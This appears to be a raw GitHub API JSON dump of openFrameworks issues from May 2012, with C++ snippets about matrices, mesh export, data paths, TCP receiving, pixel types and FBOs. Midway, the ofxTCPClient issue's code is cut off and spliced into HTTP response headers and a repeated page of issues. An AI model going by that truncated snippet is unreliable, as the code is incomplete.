correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on 